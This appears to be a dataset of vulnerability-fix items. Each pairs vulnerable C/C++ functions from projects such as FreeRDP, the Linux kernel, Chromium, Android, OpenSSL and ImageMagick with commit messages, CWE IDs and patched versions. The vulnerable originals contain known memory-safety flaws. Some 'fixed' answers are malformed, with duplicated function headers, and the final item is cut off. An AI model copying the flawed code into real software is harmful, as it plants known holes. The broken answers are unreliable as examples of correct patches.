Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void ntlm_print_negotiate_flags(UINT32 flags)
{
int i;
const char* str;
WLog_INFO(TAG, "negotiateFlags \"0x%08"PRIX32"\"", flags);
for (i = 31; i >= 0; i--)
{
if ((flags >> i) & 1)
{
str = NTLM_NEGOTIATE_STRINGS[(31 - i)];
WLog_INFO(TAG, "\t%s (%d),", str, (31 - i));
}
}
}
Commit Message: Fixed CVE-2018-8789
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-125 | void ntlm_print_negotiate_flags(UINT32 flags)
static void ntlm_print_negotiate_flags(UINT32 flags)
{
int i;
const char* str;
WLog_INFO(TAG, "negotiateFlags \"0x%08"PRIX32"\"", flags);
for (i = 31; i >= 0; i--)
{
if ((flags >> i) & 1)
{
str = NTLM_NEGOTIATE_STRINGS[(31 - i)];
WLog_INFO(TAG, "\t%s (%d),", str, (31 - i));
}
}
}
| 169,275 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: hugetlbfs_fill_super(struct super_block *sb, void *data, int silent)
{
struct inode * inode;
struct dentry * root;
int ret;
struct hugetlbfs_config config;
struct hugetlbfs_sb_info *sbinfo;
save_mount_options(sb, data);
config.nr_blocks = -1; /* No limit on size by default */
config.nr_inodes = -1; /* No limit on number of inodes by default */
config.uid = current_fsuid();
config.gid = current_fsgid();
config.mode = 0755;
config.hstate = &default_hstate;
ret = hugetlbfs_parse_options(data, &config);
if (ret)
return ret;
sbinfo = kmalloc(sizeof(struct hugetlbfs_sb_info), GFP_KERNEL);
if (!sbinfo)
return -ENOMEM;
sb->s_fs_info = sbinfo;
sbinfo->hstate = config.hstate;
spin_lock_init(&sbinfo->stat_lock);
sbinfo->max_blocks = config.nr_blocks;
sbinfo->free_blocks = config.nr_blocks;
sbinfo->max_inodes = config.nr_inodes;
sbinfo->free_inodes = config.nr_inodes;
sb->s_maxbytes = MAX_LFS_FILESIZE;
sb->s_blocksize = huge_page_size(config.hstate);
sb->s_blocksize_bits = huge_page_shift(config.hstate);
sb->s_magic = HUGETLBFS_MAGIC;
sb->s_op = &hugetlbfs_ops;
sb->s_time_gran = 1;
inode = hugetlbfs_get_root(sb, &config);
if (!inode)
goto out_free;
root = d_alloc_root(inode);
if (!root) {
iput(inode);
goto out_free;
}
sb->s_root = root;
return 0;
out_free:
kfree(sbinfo);
return -ENOMEM;
}
Commit Message: hugepages: fix use after free bug in "quota" handling
hugetlbfs_{get,put}_quota() are badly named. They don't interact with the
general quota handling code, and they don't much resemble its behaviour.
Rather than being about maintaining limits on on-disk block usage by
particular users, they are instead about maintaining limits on in-memory
page usage (including anonymous MAP_PRIVATE copied-on-write pages)
associated with a particular hugetlbfs filesystem instance.
Worse, they work by having callbacks to the hugetlbfs filesystem code from
the low-level page handling code, in particular from free_huge_page().
This is a layering violation of itself, but more importantly, if the
kernel does a get_user_pages() on hugepages (which can happen from KVM
amongst others), then the free_huge_page() can be delayed until after the
associated inode has already been freed. If an unmount occurs at the
wrong time, even the hugetlbfs superblock where the "quota" limits are
stored may have been freed.
Andrew Barry proposed a patch to fix this by having hugepages, instead of
storing a pointer to their address_space and reaching the superblock from
there, had the hugepages store pointers directly to the superblock,
bumping the reference count as appropriate to avoid it being freed.
Andrew Morton rejected that version, however, on the grounds that it made
the existing layering violation worse.
This is a reworked version of Andrew's patch, which removes the extra, and
some of the existing, layering violation. It works by introducing the
concept of a hugepage "subpool" at the lower hugepage mm layer - that is a
finite logical pool of hugepages to allocate from. hugetlbfs now creates
a subpool for each filesystem instance with a page limit set, and a
pointer to the subpool gets added to each allocated hugepage, instead of
the address_space pointer used now. The subpool has its own lifetime and
is only freed once all pages in it _and_ all other references to it (i.e.
superblocks) are gone.
subpools are optional - a NULL subpool pointer is taken by the code to
mean that no subpool limits are in effect.
Previous discussion of this bug found in: "Fix refcounting in hugetlbfs
quota handling.". See: https://lkml.org/lkml/2011/8/11/28 or
http://marc.info/?l=linux-mm&m=126928970510627&w=1
v2: Fixed a bug spotted by Hillf Danton, and removed the extra parameter to
alloc_huge_page() - since it already takes the vma, it is not necessary.
Signed-off-by: Andrew Barry <[email protected]>
Signed-off-by: David Gibson <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Mel Gorman <[email protected]>
Cc: Minchan Kim <[email protected]>
Cc: Hillf Danton <[email protected]>
Cc: Paul Mackerras <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-399 | hugetlbfs_fill_super(struct super_block *sb, void *data, int silent)
{
struct inode * inode;
struct dentry * root;
int ret;
struct hugetlbfs_config config;
struct hugetlbfs_sb_info *sbinfo;
save_mount_options(sb, data);
config.nr_blocks = -1; /* No limit on size by default */
config.nr_inodes = -1; /* No limit on number of inodes by default */
config.uid = current_fsuid();
config.gid = current_fsgid();
config.mode = 0755;
config.hstate = &default_hstate;
ret = hugetlbfs_parse_options(data, &config);
if (ret)
return ret;
sbinfo = kmalloc(sizeof(struct hugetlbfs_sb_info), GFP_KERNEL);
if (!sbinfo)
return -ENOMEM;
sb->s_fs_info = sbinfo;
sbinfo->hstate = config.hstate;
spin_lock_init(&sbinfo->stat_lock);
sbinfo->max_inodes = config.nr_inodes;
sbinfo->free_inodes = config.nr_inodes;
sbinfo->spool = NULL;
if (config.nr_blocks != -1) {
sbinfo->spool = hugepage_new_subpool(config.nr_blocks);
if (!sbinfo->spool)
goto out_free;
}
sb->s_maxbytes = MAX_LFS_FILESIZE;
sb->s_blocksize = huge_page_size(config.hstate);
sb->s_blocksize_bits = huge_page_shift(config.hstate);
sb->s_magic = HUGETLBFS_MAGIC;
sb->s_op = &hugetlbfs_ops;
sb->s_time_gran = 1;
inode = hugetlbfs_get_root(sb, &config);
if (!inode)
goto out_free;
root = d_alloc_root(inode);
if (!root) {
iput(inode);
goto out_free;
}
sb->s_root = root;
return 0;
out_free:
if (sbinfo->spool)
kfree(sbinfo->spool);
kfree(sbinfo);
return -ENOMEM;
}
| 165,605 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool InstallablePaymentAppCrawler::CompleteAndStorePaymentWebAppInfoIfValid(
const GURL& method_manifest_url,
const GURL& web_app_manifest_url,
std::unique_ptr<WebAppInstallationInfo> app_info) {
if (app_info == nullptr)
return false;
if (app_info->sw_js_url.empty() || !base::IsStringUTF8(app_info->sw_js_url)) {
WarnIfPossible(
"The installable payment app's js url is not a non-empty UTF8 string.");
return false;
}
if (!GURL(app_info->sw_js_url).is_valid()) {
GURL absolute_url = web_app_manifest_url.Resolve(app_info->sw_js_url);
if (!absolute_url.is_valid()) {
WarnIfPossible(
"Failed to resolve the installable payment app's js url (" +
app_info->sw_js_url + ").");
return false;
}
app_info->sw_js_url = absolute_url.spec();
}
if (!GURL(app_info->sw_scope).is_valid()) {
GURL absolute_scope =
web_app_manifest_url.GetWithoutFilename().Resolve(app_info->sw_scope);
if (!absolute_scope.is_valid()) {
WarnIfPossible(
"Failed to resolve the installable payment app's registration "
"scope (" +
app_info->sw_scope + ").");
return false;
}
app_info->sw_scope = absolute_scope.spec();
}
std::string error_message;
if (!content::PaymentAppProvider::GetInstance()->IsValidInstallablePaymentApp(
web_app_manifest_url, GURL(app_info->sw_js_url),
GURL(app_info->sw_scope), &error_message)) {
WarnIfPossible(error_message);
return false;
}
if (installable_apps_.find(method_manifest_url) != installable_apps_.end())
return false;
installable_apps_[method_manifest_url] = std::move(app_info);
return true;
}
Commit Message: [Payments] Restrict just-in-time payment handler to payment method domain and its subdomains
Bug: 853937
Change-Id: I148b3d96950a9d90fa362e580e9593caa6b92a36
Reviewed-on: https://chromium-review.googlesource.com/1132116
Reviewed-by: Mathieu Perreault <[email protected]>
Commit-Queue: Ganggui Tang <[email protected]>
Cr-Commit-Position: refs/heads/master@{#573911}
CWE ID: | bool InstallablePaymentAppCrawler::CompleteAndStorePaymentWebAppInfoIfValid(
const GURL& method_manifest_url,
const GURL& web_app_manifest_url,
std::unique_ptr<WebAppInstallationInfo> app_info) {
if (app_info == nullptr)
return false;
if (app_info->sw_js_url.empty() || !base::IsStringUTF8(app_info->sw_js_url)) {
WarnIfPossible(
"The installable payment app's js url is not a non-empty UTF8 string.");
return false;
}
if (!GURL(app_info->sw_js_url).is_valid()) {
GURL absolute_url = web_app_manifest_url.Resolve(app_info->sw_js_url);
if (!absolute_url.is_valid()) {
WarnIfPossible(
"Failed to resolve the installable payment app's js url (" +
app_info->sw_js_url + ").");
return false;
}
if (!net::registry_controlled_domains::SameDomainOrHost(
method_manifest_url, absolute_url,
net::registry_controlled_domains::INCLUDE_PRIVATE_REGISTRIES)) {
WarnIfPossible("Installable payment app's js url " + absolute_url.spec() +
" is not allowed for the method " +
method_manifest_url.spec());
return false;
}
app_info->sw_js_url = absolute_url.spec();
}
if (!GURL(app_info->sw_scope).is_valid()) {
GURL absolute_scope =
web_app_manifest_url.GetWithoutFilename().Resolve(app_info->sw_scope);
if (!absolute_scope.is_valid()) {
WarnIfPossible(
"Failed to resolve the installable payment app's registration "
"scope (" +
app_info->sw_scope + ").");
return false;
}
if (!net::registry_controlled_domains::SameDomainOrHost(
method_manifest_url, absolute_scope,
net::registry_controlled_domains::INCLUDE_PRIVATE_REGISTRIES)) {
WarnIfPossible("Installable payment app's registration scope " +
absolute_scope.spec() + " is not allowed for the method " +
method_manifest_url.spec());
return false;
}
app_info->sw_scope = absolute_scope.spec();
}
std::string error_message;
if (!content::PaymentAppProvider::GetInstance()->IsValidInstallablePaymentApp(
web_app_manifest_url, GURL(app_info->sw_js_url),
GURL(app_info->sw_scope), &error_message)) {
WarnIfPossible(error_message);
return false;
}
if (installable_apps_.find(method_manifest_url) != installable_apps_.end())
return false;
installable_apps_[method_manifest_url] = std::move(app_info);
return true;
}
| 172,651 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int append_camera_metadata(camera_metadata_t *dst,
const camera_metadata_t *src) {
if (dst == NULL || src == NULL ) return ERROR;
if (dst->entry_capacity < src->entry_count + dst->entry_count) return ERROR;
if (dst->data_capacity < src->data_count + dst->data_count) return ERROR;
memcpy(get_entries(dst) + dst->entry_count, get_entries(src),
sizeof(camera_metadata_buffer_entry_t[src->entry_count]));
memcpy(get_data(dst) + dst->data_count, get_data(src),
sizeof(uint8_t[src->data_count]));
if (dst->data_count != 0) {
camera_metadata_buffer_entry_t *entry = get_entries(dst) + dst->entry_count;
for (size_t i = 0; i < src->entry_count; i++, entry++) {
if ( calculate_camera_metadata_entry_data_size(entry->type,
entry->count) > 0 ) {
entry->data.offset += dst->data_count;
}
}
}
if (dst->entry_count == 0) {
dst->flags |= src->flags & FLAG_SORTED;
} else if (src->entry_count != 0) {
dst->flags &= ~FLAG_SORTED;
} else {
}
dst->entry_count += src->entry_count;
dst->data_count += src->data_count;
assert(validate_camera_metadata_structure(dst, NULL) == OK);
return OK;
}
Commit Message: Camera metadata: Check for inconsistent data count
Resolve merge conflict for nyc-release
Also check for overflow of data/entry count on append.
Bug: 30591838
Change-Id: Ibf4c3c6e236cdb28234f3125055d95ef0a2416a2
CWE ID: CWE-264 | int append_camera_metadata(camera_metadata_t *dst,
const camera_metadata_t *src) {
if (dst == NULL || src == NULL ) return ERROR;
// Check for overflow
if (src->entry_count + dst->entry_count < src->entry_count) return ERROR;
if (src->data_count + dst->data_count < src->data_count) return ERROR;
// Check for space
if (dst->entry_capacity < src->entry_count + dst->entry_count) return ERROR;
if (dst->data_capacity < src->data_count + dst->data_count) return ERROR;
memcpy(get_entries(dst) + dst->entry_count, get_entries(src),
sizeof(camera_metadata_buffer_entry_t[src->entry_count]));
memcpy(get_data(dst) + dst->data_count, get_data(src),
sizeof(uint8_t[src->data_count]));
if (dst->data_count != 0) {
camera_metadata_buffer_entry_t *entry = get_entries(dst) + dst->entry_count;
for (size_t i = 0; i < src->entry_count; i++, entry++) {
if ( calculate_camera_metadata_entry_data_size(entry->type,
entry->count) > 0 ) {
entry->data.offset += dst->data_count;
}
}
}
if (dst->entry_count == 0) {
dst->flags |= src->flags & FLAG_SORTED;
} else if (src->entry_count != 0) {
dst->flags &= ~FLAG_SORTED;
} else {
}
dst->entry_count += src->entry_count;
dst->data_count += src->data_count;
assert(validate_camera_metadata_structure(dst, NULL) == OK);
return OK;
}
| 173,396 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int prepend_path(const struct path *path,
const struct path *root,
char **buffer, int *buflen)
{
struct dentry *dentry;
struct vfsmount *vfsmnt;
struct mount *mnt;
int error = 0;
unsigned seq, m_seq = 0;
char *bptr;
int blen;
rcu_read_lock();
restart_mnt:
read_seqbegin_or_lock(&mount_lock, &m_seq);
seq = 0;
rcu_read_lock();
restart:
bptr = *buffer;
blen = *buflen;
error = 0;
dentry = path->dentry;
vfsmnt = path->mnt;
mnt = real_mount(vfsmnt);
read_seqbegin_or_lock(&rename_lock, &seq);
while (dentry != root->dentry || vfsmnt != root->mnt) {
struct dentry * parent;
if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) {
struct mount *parent = ACCESS_ONCE(mnt->mnt_parent);
/* Global root? */
if (mnt != parent) {
dentry = ACCESS_ONCE(mnt->mnt_mountpoint);
mnt = parent;
vfsmnt = &mnt->mnt;
continue;
}
if (!error)
error = is_mounted(vfsmnt) ? 1 : 2;
break;
}
parent = dentry->d_parent;
prefetch(parent);
error = prepend_name(&bptr, &blen, &dentry->d_name);
if (error)
break;
dentry = parent;
}
if (!(seq & 1))
rcu_read_unlock();
if (need_seqretry(&rename_lock, seq)) {
seq = 1;
goto restart;
}
done_seqretry(&rename_lock, seq);
if (!(m_seq & 1))
rcu_read_unlock();
if (need_seqretry(&mount_lock, m_seq)) {
m_seq = 1;
goto restart_mnt;
}
done_seqretry(&mount_lock, m_seq);
if (error >= 0 && bptr == *buffer) {
if (--blen < 0)
error = -ENAMETOOLONG;
else
*--bptr = '/';
}
*buffer = bptr;
*buflen = blen;
return error;
}
Commit Message: dcache: Handle escaped paths in prepend_path
A rename can result in a dentry that by walking up d_parent
will never reach it's mnt_root. For lack of a better term
I call this an escaped path.
prepend_path is called by four different functions __d_path,
d_absolute_path, d_path, and getcwd.
__d_path only wants to see paths are connected to the root it passes
in. So __d_path needs prepend_path to return an error.
d_absolute_path similarly wants to see paths that are connected to
some root. Escaped paths are not connected to any mnt_root so
d_absolute_path needs prepend_path to return an error greater
than 1. So escaped paths will be treated like paths on lazily
unmounted mounts.
getcwd needs to prepend "(unreachable)" so getcwd also needs
prepend_path to return an error.
d_path is the interesting hold out. d_path just wants to print
something, and does not care about the weird cases. Which raises
the question what should be printed?
Given that <escaped_path>/<anything> should result in -ENOENT I
believe it is desirable for escaped paths to be printed as empty
paths. As there are not really any meaninful path components when
considered from the perspective of a mount tree.
So tweak prepend_path to return an empty path with an new error
code of 3 when it encounters an escaped path.
Signed-off-by: "Eric W. Biederman" <[email protected]>
Signed-off-by: Al Viro <[email protected]>
CWE ID: CWE-254 | static int prepend_path(const struct path *path,
const struct path *root,
char **buffer, int *buflen)
{
struct dentry *dentry;
struct vfsmount *vfsmnt;
struct mount *mnt;
int error = 0;
unsigned seq, m_seq = 0;
char *bptr;
int blen;
rcu_read_lock();
restart_mnt:
read_seqbegin_or_lock(&mount_lock, &m_seq);
seq = 0;
rcu_read_lock();
restart:
bptr = *buffer;
blen = *buflen;
error = 0;
dentry = path->dentry;
vfsmnt = path->mnt;
mnt = real_mount(vfsmnt);
read_seqbegin_or_lock(&rename_lock, &seq);
while (dentry != root->dentry || vfsmnt != root->mnt) {
struct dentry * parent;
if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) {
struct mount *parent = ACCESS_ONCE(mnt->mnt_parent);
/* Escaped? */
if (dentry != vfsmnt->mnt_root) {
bptr = *buffer;
blen = *buflen;
error = 3;
break;
}
/* Global root? */
if (mnt != parent) {
dentry = ACCESS_ONCE(mnt->mnt_mountpoint);
mnt = parent;
vfsmnt = &mnt->mnt;
continue;
}
if (!error)
error = is_mounted(vfsmnt) ? 1 : 2;
break;
}
parent = dentry->d_parent;
prefetch(parent);
error = prepend_name(&bptr, &blen, &dentry->d_name);
if (error)
break;
dentry = parent;
}
if (!(seq & 1))
rcu_read_unlock();
if (need_seqretry(&rename_lock, seq)) {
seq = 1;
goto restart;
}
done_seqretry(&rename_lock, seq);
if (!(m_seq & 1))
rcu_read_unlock();
if (need_seqretry(&mount_lock, m_seq)) {
m_seq = 1;
goto restart_mnt;
}
done_seqretry(&mount_lock, m_seq);
if (error >= 0 && bptr == *buffer) {
if (--blen < 0)
error = -ENAMETOOLONG;
else
*--bptr = '/';
}
*buffer = bptr;
*buflen = blen;
return error;
}
| 169,926 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: long video_ioctl2(struct file *file,
unsigned int cmd, unsigned long arg)
{
char sbuf[128];
void *mbuf = NULL;
void *parg = (void *)arg;
long err = -EINVAL;
bool has_array_args;
size_t array_size = 0;
void __user *user_ptr = NULL;
void **kernel_ptr = NULL;
/* Copy arguments into temp kernel buffer */
if (_IOC_DIR(cmd) != _IOC_NONE) {
if (_IOC_SIZE(cmd) <= sizeof(sbuf)) {
parg = sbuf;
} else {
/* too big to allocate from stack */
mbuf = kmalloc(_IOC_SIZE(cmd), GFP_KERNEL);
if (NULL == mbuf)
return -ENOMEM;
parg = mbuf;
}
err = -EFAULT;
if (_IOC_DIR(cmd) & _IOC_WRITE) {
unsigned long n = cmd_input_size(cmd);
if (copy_from_user(parg, (void __user *)arg, n))
goto out;
/* zero out anything we don't copy from userspace */
if (n < _IOC_SIZE(cmd))
memset((u8 *)parg + n, 0, _IOC_SIZE(cmd) - n);
} else {
/* read-only ioctl */
memset(parg, 0, _IOC_SIZE(cmd));
}
}
err = check_array_args(cmd, parg, &array_size, &user_ptr, &kernel_ptr);
if (err < 0)
goto out;
has_array_args = err;
if (has_array_args) {
/*
* When adding new types of array args, make sure that the
* parent argument to ioctl (which contains the pointer to the
* array) fits into sbuf (so that mbuf will still remain
* unused up to here).
*/
mbuf = kmalloc(array_size, GFP_KERNEL);
err = -ENOMEM;
if (NULL == mbuf)
goto out_array_args;
err = -EFAULT;
if (copy_from_user(mbuf, user_ptr, array_size))
goto out_array_args;
*kernel_ptr = mbuf;
}
/* Handles IOCTL */
err = __video_do_ioctl(file, cmd, parg);
if (err == -ENOIOCTLCMD)
err = -EINVAL;
if (has_array_args) {
*kernel_ptr = user_ptr;
if (copy_to_user(user_ptr, mbuf, array_size))
err = -EFAULT;
goto out_array_args;
}
if (err < 0)
goto out;
out_array_args:
/* Copy results into user buffer */
switch (_IOC_DIR(cmd)) {
case _IOC_READ:
case (_IOC_WRITE | _IOC_READ):
if (copy_to_user((void __user *)arg, parg, _IOC_SIZE(cmd)))
err = -EFAULT;
break;
}
out:
kfree(mbuf);
return err;
}
Commit Message: [media] v4l: Share code between video_usercopy and video_ioctl2
The two functions are mostly identical. They handle the copy_from_user
and copy_to_user operations related with V4L2 ioctls and call the real
ioctl handler.
Create a __video_usercopy function that implements the core of
video_usercopy and video_ioctl2, and call that function from both.
Signed-off-by: Laurent Pinchart <[email protected]>
Acked-by: Hans Verkuil <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]>
CWE ID: CWE-399 | long video_ioctl2(struct file *file,
long
video_usercopy(struct file *file, unsigned int cmd, unsigned long arg,
v4l2_kioctl func)
{
char sbuf[128];
void *mbuf = NULL;
void *parg = (void *)arg;
long err = -EINVAL;
bool has_array_args;
size_t array_size = 0;
void __user *user_ptr = NULL;
void **kernel_ptr = NULL;
/* Copy arguments into temp kernel buffer */
if (_IOC_DIR(cmd) != _IOC_NONE) {
if (_IOC_SIZE(cmd) <= sizeof(sbuf)) {
parg = sbuf;
} else {
/* too big to allocate from stack */
mbuf = kmalloc(_IOC_SIZE(cmd), GFP_KERNEL);
if (NULL == mbuf)
return -ENOMEM;
parg = mbuf;
}
err = -EFAULT;
if (_IOC_DIR(cmd) & _IOC_WRITE) {
unsigned long n = cmd_input_size(cmd);
if (copy_from_user(parg, (void __user *)arg, n))
goto out;
/* zero out anything we don't copy from userspace */
if (n < _IOC_SIZE(cmd))
memset((u8 *)parg + n, 0, _IOC_SIZE(cmd) - n);
} else {
/* read-only ioctl */
memset(parg, 0, _IOC_SIZE(cmd));
}
}
err = check_array_args(cmd, parg, &array_size, &user_ptr, &kernel_ptr);
if (err < 0)
goto out;
has_array_args = err;
if (has_array_args) {
/*
* When adding new types of array args, make sure that the
* parent argument to ioctl (which contains the pointer to the
* array) fits into sbuf (so that mbuf will still remain
* unused up to here).
*/
mbuf = kmalloc(array_size, GFP_KERNEL);
err = -ENOMEM;
if (NULL == mbuf)
goto out_array_args;
err = -EFAULT;
if (copy_from_user(mbuf, user_ptr, array_size))
goto out_array_args;
*kernel_ptr = mbuf;
}
/* Handles IOCTL */
err = func(file, cmd, parg);
if (err == -ENOIOCTLCMD)
err = -EINVAL;
if (has_array_args) {
*kernel_ptr = user_ptr;
if (copy_to_user(user_ptr, mbuf, array_size))
err = -EFAULT;
goto out_array_args;
}
if (err < 0)
goto out;
out_array_args:
/* Copy results into user buffer */
switch (_IOC_DIR(cmd)) {
case _IOC_READ:
case (_IOC_WRITE | _IOC_READ):
if (copy_to_user((void __user *)arg, parg, _IOC_SIZE(cmd)))
err = -EFAULT;
break;
}
out:
kfree(mbuf);
return err;
}
| 168,915 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static irqreturn_t armv7pmu_handle_irq(int irq_num, void *dev)
{
unsigned long pmnc;
struct perf_sample_data data;
struct cpu_hw_events *cpuc;
struct pt_regs *regs;
int idx;
/*
* Get and reset the IRQ flags
*/
pmnc = armv7_pmnc_getreset_flags();
/*
* Did an overflow occur?
*/
if (!armv7_pmnc_has_overflowed(pmnc))
return IRQ_NONE;
/*
* Handle the counter(s) overflow(s)
*/
regs = get_irq_regs();
perf_sample_data_init(&data, 0);
cpuc = &__get_cpu_var(cpu_hw_events);
for (idx = 0; idx <= armpmu->num_events; ++idx) {
struct perf_event *event = cpuc->events[idx];
struct hw_perf_event *hwc;
if (!test_bit(idx, cpuc->active_mask))
continue;
/*
* We have a single interrupt for all counters. Check that
* each counter has overflowed before we process it.
*/
if (!armv7_pmnc_counter_has_overflowed(pmnc, idx))
continue;
hwc = &event->hw;
armpmu_event_update(event, hwc, idx, 1);
data.period = event->hw.last_period;
if (!armpmu_event_set_period(event, hwc, idx))
continue;
if (perf_event_overflow(event, 0, &data, regs))
armpmu->disable(hwc, idx);
}
/*
* Handle the pending perf events.
*
* Note: this call *must* be run with interrupts disabled. For
* platforms that can have the PMU interrupts raised as an NMI, this
* will not work.
*/
irq_work_run();
return IRQ_HANDLED;
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: Michael Cree <[email protected]>
Cc: Will Deacon <[email protected]>
Cc: Deng-Cheng Zhu <[email protected]>
Cc: Anton Blanchard <[email protected]>
Cc: Eric B Munson <[email protected]>
Cc: Heiko Carstens <[email protected]>
Cc: Paul Mundt <[email protected]>
Cc: David S. Miller <[email protected]>
Cc: Frederic Weisbecker <[email protected]>
Cc: Jason Wessel <[email protected]>
Cc: Don Zickus <[email protected]>
Link: http://lkml.kernel.org/n/[email protected]
Signed-off-by: Ingo Molnar <[email protected]>
CWE ID: CWE-399 | static irqreturn_t armv7pmu_handle_irq(int irq_num, void *dev)
{
unsigned long pmnc;
struct perf_sample_data data;
struct cpu_hw_events *cpuc;
struct pt_regs *regs;
int idx;
/*
* Get and reset the IRQ flags
*/
pmnc = armv7_pmnc_getreset_flags();
/*
* Did an overflow occur?
*/
if (!armv7_pmnc_has_overflowed(pmnc))
return IRQ_NONE;
/*
* Handle the counter(s) overflow(s)
*/
regs = get_irq_regs();
perf_sample_data_init(&data, 0);
cpuc = &__get_cpu_var(cpu_hw_events);
for (idx = 0; idx <= armpmu->num_events; ++idx) {
struct perf_event *event = cpuc->events[idx];
struct hw_perf_event *hwc;
if (!test_bit(idx, cpuc->active_mask))
continue;
/*
* We have a single interrupt for all counters. Check that
* each counter has overflowed before we process it.
*/
if (!armv7_pmnc_counter_has_overflowed(pmnc, idx))
continue;
hwc = &event->hw;
armpmu_event_update(event, hwc, idx, 1);
data.period = event->hw.last_period;
if (!armpmu_event_set_period(event, hwc, idx))
continue;
if (perf_event_overflow(event, &data, regs))
armpmu->disable(hwc, idx);
}
/*
* Handle the pending perf events.
*
* Note: this call *must* be run with interrupts disabled. For
* platforms that can have the PMU interrupts raised as an NMI, this
* will not work.
*/
irq_work_run();
return IRQ_HANDLED;
}
| 165,774 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int DH_check_pub_key(const DH *dh, const BIGNUM *pub_key, int *ret)
{
int ok = 0;
BIGNUM *q = NULL;
*ret = 0;
q = BN_new();
if (q == NULL)
goto err;
BN_set_word(q, 1);
if (BN_cmp(pub_key, q) <= 0)
*ret |= DH_CHECK_PUBKEY_TOO_SMALL;
BN_copy(q, dh->p);
BN_sub_word(q, 1);
if (BN_cmp(pub_key, q) >= 0)
*ret |= DH_CHECK_PUBKEY_TOO_LARGE;
ok = 1;
err:
if (q != NULL)
BN_free(q);
return (ok);
}
Commit Message:
CWE ID: CWE-200 | int DH_check_pub_key(const DH *dh, const BIGNUM *pub_key, int *ret)
{
int ok = 0;
BIGNUM *tmp = NULL;
BN_CTX *ctx = NULL;
*ret = 0;
ctx = BN_CTX_new();
if (ctx == NULL)
goto err;
BN_CTX_start(ctx);
tmp = BN_CTX_get(ctx);
if (tmp == NULL)
goto err;
BN_set_word(tmp, 1);
if (BN_cmp(pub_key, tmp) <= 0)
*ret |= DH_CHECK_PUBKEY_TOO_SMALL;
BN_copy(tmp, dh->p);
BN_sub_word(tmp, 1);
if (BN_cmp(pub_key, tmp) >= 0)
*ret |= DH_CHECK_PUBKEY_TOO_LARGE;
if (dh->q != NULL) {
/* Check pub_key^q == 1 mod p */
if (!BN_mod_exp(tmp, pub_key, dh->q, dh->p, ctx))
goto err;
if (!BN_is_one(tmp))
*ret |= DH_CHECK_PUBKEY_INVALID;
}
ok = 1;
err:
if (ctx != NULL) {
BN_CTX_end(ctx);
BN_CTX_free(ctx);
}
return (ok);
}
| 165,258 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,
ExceptionInfo *exception)
{
DDSColors
colors;
PixelPacket
*q;
register ssize_t
i,
x;
size_t
bits;
ssize_t
j,
y;
unsigned char
code;
unsigned short
c0,
c1;
for (y = 0; y < (ssize_t) dds_info->height; y += 4)
{
for (x = 0; x < (ssize_t) dds_info->width; x += 4)
{
/* Get 4x4 patch of pixels to write on */
q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),
Min(4, dds_info->height - y),exception);
if (q == (PixelPacket *) NULL)
return MagickFalse;
/* Read 8 bytes of data from the image */
c0 = ReadBlobLSBShort(image);
c1 = ReadBlobLSBShort(image);
bits = ReadBlobLSBLong(image);
CalculateColors(c0, c1, &colors, MagickFalse);
/* Write the pixels */
for (j = 0; j < 4; j++)
{
for (i = 0; i < 4; i++)
{
if ((x + i) < (ssize_t) dds_info->width && (y + j) < (ssize_t) dds_info->height)
{
code = (unsigned char) ((bits >> ((j*4+i)*2)) & 0x3);
SetPixelRed(q,ScaleCharToQuantum(colors.r[code]));
SetPixelGreen(q,ScaleCharToQuantum(colors.g[code]));
SetPixelBlue(q,ScaleCharToQuantum(colors.b[code]));
SetPixelOpacity(q,ScaleCharToQuantum(colors.a[code]));
if (colors.a[code] && image->matte == MagickFalse)
/* Correct matte */
image->matte = MagickTrue;
q++;
}
}
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
return MagickFalse;
}
}
SkipDXTMipmaps(image, dds_info, 8);
return MagickTrue;
}
Commit Message: Added extra EOF check and some minor refactoring.
CWE ID: CWE-20 | static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,
ExceptionInfo *exception)
{
DDSColors
colors;
PixelPacket
*q;
register ssize_t
i,
x;
size_t
bits;
ssize_t
j,
y;
unsigned char
code;
unsigned short
c0,
c1;
